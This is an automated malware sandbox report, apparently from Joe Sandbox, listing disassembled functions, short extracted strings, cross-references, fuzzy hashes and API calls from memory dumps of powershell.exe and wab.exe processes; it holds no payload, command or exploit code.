$p, xrefs: 00ADFCE8
$p, xrefs: 00ADFD3F
tPp, xrefs: 00ADFD84

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: tPp$$p$$p$$p$$p
API String ID: 0-336990704
Opcode ID: e3e3a178c16128918d19ca7abee9d64fd314ea7737b8e8a600d15e60bb90da1c
Instruction ID: 87fc0e5feaea04ebc732b98247d41d6c57bd536bb3d18bfd6ad46e8dd5ca6c15
Opcode Fuzzy Hash: e3e3a178c16128918d19ca7abee9d64fd314ea7737b8e8a600d15e60bb90da1c
Instruction Fuzzy Hash: C221B0366002159FCB248F64D940A7BBBB6AF85714B28407BEC939B361C771DD40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD318 Relevance: 5.5, Strings: 4, Instructions: 472COMMON

Download Yara Rule

Strings

(op, xrefs: 00ADD3FE
(op, xrefs: 00ADD40E
(op, xrefs: 00ADD741
(op, xrefs: 00ADD751

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: (op$(op$(op$(op
API String ID: 0-4040569024
Opcode ID: d64c821f4b2e2b27a0f25ae0d7f9843a8bf6ec8dbcb58daa60b17dd360297812
Instruction ID: 046490443f433cc85de7bf0502f1afb7976cc7b2b613b42e38adb23e263d93e4
Opcode Fuzzy Hash: d64c821f4b2e2b27a0f25ae0d7f9843a8bf6ec8dbcb58daa60b17dd360297812
Instruction Fuzzy Hash: 17F12435B04344DFDB258F68D850BAABBB2AF85310F2884ABE416CB392DB71DC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 046B21EA Relevance: 5.3, Strings: 4, Instructions: 324COMMON

Download Yara Rule

Strings

tPp, xrefs: 046B2448
tPp, xrefs: 046B2454
tPp, xrefs: 046B2333
tPp, xrefs: 046B2327

Memory Dump Source

Source File: 00000003.00000002.537966584.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp$tPp$tPp
API String ID: 0-3662552368
Opcode ID: 20806939612a90d7de25245414197f7a996f2a55c07084b30a5ceb27a1876b41
Instruction ID: c485c02dcb072b784cdcb9aef3cb50264ea28c5be6648c02d1577bd2fc374e7e
Opcode Fuzzy Hash: 20806939612a90d7de25245414197f7a996f2a55c07084b30a5ceb27a1876b41
Instruction Fuzzy Hash: 93C1A735B00205DFCB25CF58C4646AEFBE2BB89310F5884A9E8559B351EB71EC82DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 046B05E8 Relevance: 5.3, Strings: 4, Instructions: 259COMMON

Download Yara Rule

Strings

tPp, xrefs: 046B06C3
tPp, xrefs: 046B06B7
tPp, xrefs: 046B07D4
tPp, xrefs: 046B07C8

Memory Dump Source

Source File: 00000003.00000002.537966584.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp$tPp$tPp
API String ID: 0-3662552368
Opcode ID: 283fafd2efc4385d02be06e276acc351e53fd292ded3312573f76336a6ba4b69
Instruction ID: 47d52d6b7668652d335137baca81b0a2909a6d3224f00e35ad3e57dd2fc21dc2
Opcode Fuzzy Hash: 283fafd2efc4385d02be06e276acc351e53fd292ded3312573f76336a6ba4b69
Instruction Fuzzy Hash: B8919635B00214DFDB24DF58D540AAFBFE2ABC8310F248469D9959B355EA71EC82CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9DA0 Relevance: 5.1, Strings: 4, Instructions: 145COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD9E77
h%h, xrefs: 00AD9EEC
4'p, xrefs: 00AD9E6B
h%h, xrefs: 00AD9EDE

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: 2e03214138e3cea3c493995d5fda04030206559d045c9eca2d0bd4cd566b6d53
Instruction ID: d5feef641c5c881479534d7eb38fce54b5d1c63783c8d7d381eb5ad13fda3188
Opcode Fuzzy Hash: 2e03214138e3cea3c493995d5fda04030206559d045c9eca2d0bd4cd566b6d53
Instruction Fuzzy Hash: 2341C135B043508FCB18DB688444AABBBF2AFCA310B2884ABD556CB356DF31DC41C792

Uniqueness

Uniqueness Score: -1.00%

Function 00AD97F8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$p, xrefs: 00AD9854
$p, xrefs: 00AD980A
$p, xrefs: 00AD9860
$p, xrefs: 00AD9826

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p
API String ID: 0-3121760203
Opcode ID: 2d9bebcbde15df2770a26214e987c1da92cca6aad51abf3d883c4ef3586b4150
Instruction ID: bb9a09db442f81987b1d2b0164654a82ee77961c39f1b10373edac43c7fcb55a
Opcode Fuzzy Hash: 2d9bebcbde15df2770a26214e987c1da92cca6aad51abf3d883c4ef3586b4150
Instruction Fuzzy Hash: 6E2127317043056BDB241A6E9840B6FBAEA9FC5B10F28843BD54BCB385DEB5CC41E361

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7D3C Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD7DD9
4'p, xrefs: 00AD7DE5
h%h, xrefs: 00AD7E58
h%h, xrefs: 00AD7E4A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: d8722ba716ab65dc5b37f7d1c0037d4309c375be86a326f72819ac6aa1302d07
Instruction ID: 9a58675a84cd7409cba56117e63bff09c7b3254d7110dfd02c64c2662931e080
Opcode Fuzzy Hash: d8722ba716ab65dc5b37f7d1c0037d4309c375be86a326f72819ac6aa1302d07
Instruction Fuzzy Hash: D931F435B082118FCB1D4B2884116BEBBA39FD9711F2894BBC4938B354EE35CC81DB52

Uniqueness

Uniqueness Score: -1.00%

Function 046B10A4 Relevance: 5.1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

Strings

h%h, xrefs: 046B119C
h%h, xrefs: 046B118E
4'p, xrefs: 046B111D
4'p, xrefs: 046B1129

Memory Dump Source

Source File: 00000003.00000002.537966584.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: 0c552060bf9b0f1daddf9a65619771b7aa388d5d81382837d0cae78d44fe359b
Instruction ID: 56790d9778158bb2269e0733aa689570622f9672063042f43079ec497f6a8bf8
Opcode Fuzzy Hash: 0c552060bf9b0f1daddf9a65619771b7aa388d5d81382837d0cae78d44fe359b
Instruction Fuzzy Hash: 3A21E535B04251AFCB288A6884305E6FBE19BD7291F24446AC0C1CB356FE31E9D6C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 00ADEEC4 Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADEF3C
4'p, xrefs: 00ADEF48
h%h, xrefs: 00ADEFD3
h%h, xrefs: 00ADEFC5

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: 210014f04d69d057ae4180cd32127f6aff10e9aaff7743b9debc86fc60ce655d
Instruction ID: df3f567864c1aa7cc52090a53ad56ffb2941badcfa517a3a19f6554d2b6695ca
Opcode Fuzzy Hash: 210014f04d69d057ae4180cd32127f6aff10e9aaff7743b9debc86fc60ce655d
Instruction Fuzzy Hash: 7C21C436B04241DBCB19EB6884116AABBA2ABD9311B3884BBC557CF345DF31CD92C752

Uniqueness

Uniqueness Score: -1.00%

Function 046B0D6C Relevance: 5.1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

Strings

h%h, xrefs: 046B0E5F
4'p, xrefs: 046B0DEA
h%h, xrefs: 046B0E51
4'p, xrefs: 046B0DE0

Memory Dump Source

Source File: 00000003.00000002.537966584.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h
API String ID: 0-758857168
Opcode ID: 3a1d54761ecb43595fdde50c3cc12869ee4faee6952790d57a3e8dd0dcb0faa8
Instruction ID: 7081f72b1ec8d4b6cfed27605495288e23fb2e74a58fa9ddee909b6e31a1832c
Opcode Fuzzy Hash: 3a1d54761ecb43595fdde50c3cc12869ee4faee6952790d57a3e8dd0dcb0faa8
Instruction Fuzzy Hash: EC21F7357042419FCB294A6884206E7FFA19BE5311B2884BBC1D18B394FA71F9D2C3D2

Uniqueness

Uniqueness Score: -1.00%

Function 00AD06C0 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$p, xrefs: 00AD070A
$p, xrefs: 00AD0716
4'p, xrefs: 00AD0737
4'p, xrefs: 00AD072B

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p
API String ID: 0-377911355
Opcode ID: 0929a0bf216c373f88c3c2984f1a00404cc8a2d8025c125dd1bfba3fb299c6eb
Instruction ID: 75f44d83e5cec18ced2d9756041c508d4bd773021f35183e533b3c11e6b42eb1
Opcode Fuzzy Hash: 0929a0bf216c373f88c3c2984f1a00404cc8a2d8025c125dd1bfba3fb299c6eb
Instruction Fuzzy Hash: ED018F2060A6D01FC32A023C6820B6AAFB65BC6210BA941EBE491DF397C9549C468792

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 3336, Parent PID: 1784COMMON

Execution Graph

Execution Coverage:	66.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03F2293A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000005), ref: 03F229A0

Strings

0^r, xrefs: 03F2297B

Memory Dump Source

Source File: 00000006.00000002.866961195.0000000003E9B000.00000040.00000400.00020000.00000000.sdmp, Offset: 03E9B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3e9b000_wab.jbxd

Similarity

API ID: Sleep
String ID: 0^r
API String ID: 3472027048-1251071597
Opcode ID: d052bfb56ba8989cfceac4d160fb96647cd4ab194cc0543a31c4adfbef3a3be1
Instruction ID: 3b348af2643701b217fe3a882b414d6bbd6130e8555e7b693e554249b1054654
Opcode Fuzzy Hash: d052bfb56ba8989cfceac4d160fb96647cd4ab194cc0543a31c4adfbef3a3be1
Instruction Fuzzy Hash: C0117AB2904311EFE784CF31CC8CB66B760BF10394F4A819899154F0A6D378C480CF11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 3672, Parent PID: 1244COMMON

Executed Functions

Function 002DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.565740783.00000000002DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 002DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bfd3c3a4209c689da0c10fb2c6db6421fc33dacf59858c0a4bca306b8ae882
Instruction ID: 6213177a44ea2b7d3cfd0cb624d6e9a4229220d4182ebedc388ba8e0b3bd56b2
Opcode Fuzzy Hash: 92bfd3c3a4209c689da0c10fb2c6db6421fc33dacf59858c0a4bca306b8ae882
Instruction Fuzzy Hash: 0901A771418784ABE7205E15CC84B66BFD8EF81725F18851BEC454F386C6B9DC45CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 002DD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.565740783.00000000002DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 002DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4cf41eddc4a77def552ea4b79dbd9bef95b1383522ba0b5928c5b649f9e96e2
Instruction ID: 2b60562eaf920c06e0c1e688c2fc07c5724aaed1945c65bf3cb29ef83ee8f132
Opcode Fuzzy Hash: b4cf41eddc4a77def552ea4b79dbd9bef95b1383522ba0b5928c5b649f9e96e2
Instruction Fuzzy Hash: CF014C6244D7C09FD7128A258894B66BFA4EF53224F1981DBD8888F2A7C2699C48C772

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 3788, Parent PID: 3672COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 083F1E84 Relevance: 1.5, APIs: 1, Instructions: 46nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 083F1F11

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0274ccdbdaa40eb1da515c79b132e92ac38775e99bf3d7d18fc2c2284e4f4c1e
Instruction ID: 6ad81b734c79357f7ecc42c52266abe9a641572f177bdf4bd12ce74107dbe113
Opcode Fuzzy Hash: 0274ccdbdaa40eb1da515c79b132e92ac38775e99bf3d7d18fc2c2284e4f4c1e
Instruction Fuzzy Hash: AA015A3570068ADECF399E7899986CD3361EFD9745F60813ACD49CB608E734D9858B40

Uniqueness

Uniqueness Score: -1.00%

Function 00383600 Relevance: 66.6, Strings: 52, Instructions: 1613COMMON

Download Yara Rule

Strings

;), xrefs: 00383C2C
4'p, xrefs: 00383F9C
;), xrefs: 00383EE9
;), xrefs: 00384293
[h, xrefs: 00383A95
;), xrefs: 003840EC
h%h, xrefs: 003849D1
;), xrefs: 00383E12
[h, xrefs: 0038393B
;), xrefs: 0038417C
;), xrefs: 003843E6
;), xrefs: 00383EAA
4'p, xrefs: 00383759
;), xrefs: 00383DA7
8R!, xrefs: 00383904
;), xrefs: 00383DC0
[h, xrefs: 003848C8
[h, xrefs: 0038392D
h%h, xrefs: 00384D99
4'p, xrefs: 00383765
8#h, xrefs: 00384DD8
tPp, xrefs: 003838F0
;), xrefs: 003840D6
[h, xrefs: 00383A8B
;), xrefs: 00383CEA
h%h, xrefs: 00384746
8#h, xrefs: 00384DCE
;), xrefs: 003840B1
;), xrefs: 00383D5A
;), xrefs: 00383B21
;), xrefs: 00384259
;), xrefs: 003841E3
h%h, xrefs: 00383B5F
h%h, xrefs: 003849DB
;), xrefs: 00384035
h%h, xrefs: 00384750
4'p, xrefs: 00383FA8
;), xrefs: 00383F6A
tPp, xrefs: 003838E4
;), xrefs: 00383CC5
;), xrefs: 00383CA6
;), xrefs: 00383E4F
;), xrefs: 00383AC8
;), xrefs: 00384228
h%h, xrefs: 00383B69
h%h, xrefs: 00384B3F
;), xrefs: 00383B7E
h%h, xrefs: 00384B49
;), xrefs: 00383BD7
;), xrefs: 00384098
[h, xrefs: 003848D2
h%h, xrefs: 00384DA3

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$8#h$8#h$8R!$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$tPp$tPp$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$[h$[h$[h$[h$[h$[h
API String ID: 0-3367135899
Opcode ID: 99d22561a009aba9e156e59ee6bea2a3ba717b681c48fd48690c471d0abb4517
Instruction ID: a9d1a02fd5f92d0d007554ae071b2357eb69f389eb2d4e79886569ad11d7de9b
Opcode Fuzzy Hash: 99d22561a009aba9e156e59ee6bea2a3ba717b681c48fd48690c471d0abb4517
Instruction Fuzzy Hash: CBE27D74B00304DFDB15DB68C450B6ABBB2AF89304F25C0AAE955AF756CB71ED82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 003842C4 Relevance: 48.6, Strings: 38, Instructions: 1097COMMON

Download Yara Rule

Strings

;), xrefs: 003845B4
;), xrefs: 0038458F
;), xrefs: 003841E3
;), xrefs: 00384035
;), xrefs: 00383C2C
;), xrefs: 00384303
4'p, xrefs: 00383F9C
;), xrefs: 00383EE9
;), xrefs: 00384293
;), xrefs: 00384379
;), xrefs: 00383F6A
;), xrefs: 003844E6
;), xrefs: 003840EC
h%h, xrefs: 003849D1
;), xrefs: 00383E12
;), xrefs: 0038417C
;), xrefs: 00383CC5
;), xrefs: 003843E6
;), xrefs: 00383EAA
;), xrefs: 00383CA6
;), xrefs: 00383DA7
;), xrefs: 00383DC0
;), xrefs: 00384576
[h, xrefs: 003848C8
;), xrefs: 00383E4F
;), xrefs: 00384360
h%h, xrefs: 00384527
h%h, xrefs: 00384D99
;), xrefs: 00384228
h%h, xrefs: 00384B3F
;), xrefs: 003840D6
;), xrefs: 00383CEA
h%h, xrefs: 00384746
8#h, xrefs: 00384DCE
;), xrefs: 00384098
;), xrefs: 003840B1
h%h, xrefs: 0038451D
;), xrefs: 00383D5A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$8#h$h%h$h%h$h%h$h%h$h%h$h%h$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$[h
API String ID: 0-2354238530
Opcode ID: 816a13d0143eda8c299f2a3653b29132fe72de6bb10662e45bc31897cd8f9fa5
Instruction ID: 540303e10e6e1ec97e2c65a49560c0fee3d482b9d5a3cbc3af9d9b88ddc29792
Opcode Fuzzy Hash: 816a13d0143eda8c299f2a3653b29132fe72de6bb10662e45bc31897cd8f9fa5
Instruction Fuzzy Hash: DEA24E78A00205DFDB65DB58C540F6ABBB2EF89304F25C0A9E954AF756CB71ED82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 003843CD Relevance: 29.2, Strings: 23, Instructions: 431COMMON

Download Yara Rule

Strings

;), xrefs: 003841E3
;), xrefs: 00383DC0
;), xrefs: 00384035
;), xrefs: 00383E4F
;), xrefs: 00383C2C
4'p, xrefs: 00383F9C
;), xrefs: 00383EE9
;), xrefs: 00384228
;), xrefs: 00384293
;), xrefs: 003840D6
;), xrefs: 00383F6A
;), xrefs: 003840EC
;), xrefs: 00383E12
;), xrefs: 00383CEA
;), xrefs: 0038417C
;), xrefs: 00384098
;), xrefs: 00383CC5
;), xrefs: 003843E6
;), xrefs: 003840B1
;), xrefs: 00383EAA
;), xrefs: 00383CA6
;), xrefs: 00383DA7
;), xrefs: 00383D5A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)$;)
API String ID: 0-2341927469
Opcode ID: 039395624fb5748a7f02fa4088d9c3fbe894bd859097ea4b7ff4079d85daed26
Instruction ID: 89dd7971e776ef103505a82f016b43f052028715eba4ae160c3ef8679b168a31
Opcode Fuzzy Hash: 039395624fb5748a7f02fa4088d9c3fbe894bd859097ea4b7ff4079d85daed26
Instruction Fuzzy Hash: CE023E78B002049FDB64DB58C851F6ABBB2FB88304F258199E958AF756CB71ED81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00387E48 Relevance: 15.6, Strings: 12, Instructions: 593
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 00388320
4'p, xrefs: 00388316
4'p, xrefs: 00388190
h%h, xrefs: 00388205
h%h, xrefs: 00388445
h%h, xrefs: 00388036
h%h, xrefs: 00388437
h%h, xrefs: 00388028
h%h, xrefs: 003881F7
4'p, xrefs: 00388186
h%h, xrefs: 00388389
h%h, xrefs: 00388397

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h
API String ID: 0-1353327930
Opcode ID: 516c0f33265116ed817403c361a8cea42dd941d03a09428914316d6dcd4d00f9
Instruction ID: 70a51881feb6b500f084a3fb8ef5531e69e038a0b0d37c4f49dd89f258534d5e
Opcode Fuzzy Hash: 516c0f33265116ed817403c361a8cea42dd941d03a09428914316d6dcd4d00f9
Instruction Fuzzy Hash: FD121675B043009FCB16AB788810B6ABBF6AFC9310F6984FAD545CB255DE71DC42C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 04A4104C Relevance: 15.1, Strings: 11, Instructions: 1322COMMON

Download Yara Rule

Strings

$p, xrefs: 04A410BB
4'p, xrefs: 04A410FF
4'p, xrefs: 04A4110B
tPp, xrefs: 04A41AB7
tPp, xrefs: 04A41AC3
tPp, xrefs: 04A41BE5
h%h, xrefs: 04A415DC
$p, xrefs: 04A410D7
$p, xrefs: 04A410E3
tPp, xrefs: 04A41BD9
h%h, xrefs: 04A415EA

Memory Dump Source

Source File: 0000000F.00000002.779886012.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4a40000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h$tPp$tPp$tPp$tPp$$p$$p$$p
API String ID: 0-820756644
Opcode ID: 405dc1245499daf02b84ac06d3f57aeffdbcc28655f3b2c769c4146871dbc19a
Instruction ID: e0d2e5594c72d35b3a02afbd4bbc128065f379e642fc31f7acbe9c618792fc20
Opcode Fuzzy Hash: 405dc1245499daf02b84ac06d3f57aeffdbcc28655f3b2c769c4146871dbc19a
Instruction Fuzzy Hash: C782E634B00204DFCB55DF68D454AAEBBF2AFC9310F58846AE955CB296DB31EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00380C30 Relevance: 14.3, Strings: 11, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X:), xrefs: 003812A8
4:), xrefs: 00381165
9), xrefs: 00380E78
9), xrefs: 00380E9B
4'p, xrefs: 00380C92
$p, xrefs: 00381119
h%h, xrefs: 00380F5A
$p, xrefs: 0038118D
h%h, xrefs: 00380F4C
4'p, xrefs: 00380C9E
$p, xrefs: 00381181

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4:)$X:)$h%h$h%h$$p$$p$$p$9)$9)
API String ID: 0-4165405828
Opcode ID: 73f208c8e2521b8fc1f686e8b7c6d8fa559bcad246b478709dd99eb3c063bd9d
Instruction ID: 9528a809f8bf0a9f8fdb522c3ad70806151762e2524fb1e49192b41a3b94c2a1
Opcode Fuzzy Hash: 73f208c8e2521b8fc1f686e8b7c6d8fa559bcad246b478709dd99eb3c063bd9d
Instruction Fuzzy Hash: 48126A317043409FDB6AAF68C85066ABBFAAFC5310F29C4EAD544CB252CB71ED46C761

Uniqueness

Uniqueness Score: -1.00%

Function 0038FA35 Relevance: 11.6, Strings: 9, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 0038FD86
4'p, xrefs: 0038FB8D
4'p, xrefs: 0038FD7A
h%h, xrefs: 0038FDFB
$p, xrefs: 0038FB2F
h%h, xrefs: 0038FDED
$p, xrefs: 0038FAFE
$p, xrefs: 0038FB1F
4'p, xrefs: 0038FB99

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$h%h$h%h$$p$$p$$p
API String ID: 0-3203698697
Opcode ID: a4efb5017d178026af7732477fa01f8a273dd7d63c76acf584f0b0eac59141e2
Instruction ID: 5343c1639d7df14ac0ba9c469dd038c1a7821bc6466b41c9d02e2b2760c08263
Opcode Fuzzy Hash: a4efb5017d178026af7732477fa01f8a273dd7d63c76acf584f0b0eac59141e2
Instruction Fuzzy Hash: 46A1F531B04305DFCB2AAE38D4506AABBF2AF85320F2580FAD955CB255DB35CD85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00384650 Relevance: 8.0, Strings: 6, Instructions: 493COMMON

Download Yara Rule

Strings

h%h, xrefs: 00384B3F
h%h, xrefs: 003849D1
[h, xrefs: 003848C8
8#h, xrefs: 00384DCE
h%h, xrefs: 00384746
h%h, xrefs: 00384D99

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$h%h$[h
API String ID: 0-1348317926
Opcode ID: 0ce74ef26ad803bd609da32c815e10500ae5a8f37670c8e27bcdd5b2c12b5c5f
Instruction ID: 3749056d8a646a982b662926dacd19e9fadf67f9ad7a8bc77d982b8f3c833256
Opcode Fuzzy Hash: 0ce74ef26ad803bd609da32c815e10500ae5a8f37670c8e27bcdd5b2c12b5c5f
Instruction Fuzzy Hash: 49224A78A01305EFDB15DF58D580A6ABBB2EF89314F25C0A9E914AF756C771EC42CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00388B30 Relevance: 7.8, Strings: 6, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8#h, xrefs: 00388EC8
h%h, xrefs: 00388C77
8#h, xrefs: 00388EBA
h%h, xrefs: 00388DDA
h%h, xrefs: 00388DE8
h%h, xrefs: 00388C85

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$8#h$h%h$h%h$h%h$h%h
API String ID: 0-216181455
Opcode ID: 54d4a2cf9696acae951fb2fdfb6c40d82aa9b50f85bfc39b3a1b39e4a16a3c93
Instruction ID: b4513a2ec85d9ab241d361bc993083e1e4788c4467e1ddec6df79507503c55bc
Opcode Fuzzy Hash: 54d4a2cf9696acae951fb2fdfb6c40d82aa9b50f85bfc39b3a1b39e4a16a3c93
Instruction Fuzzy Hash: D3A12635B043409FCB16AB6C880066AFBB6AFC9310FA984FAD515CB295DF31DC45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00384CCC Relevance: 6.7, Strings: 5, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h%h, xrefs: 00384B3F
h%h, xrefs: 003849D1
[h, xrefs: 003848C8
8#h, xrefs: 00384DCE
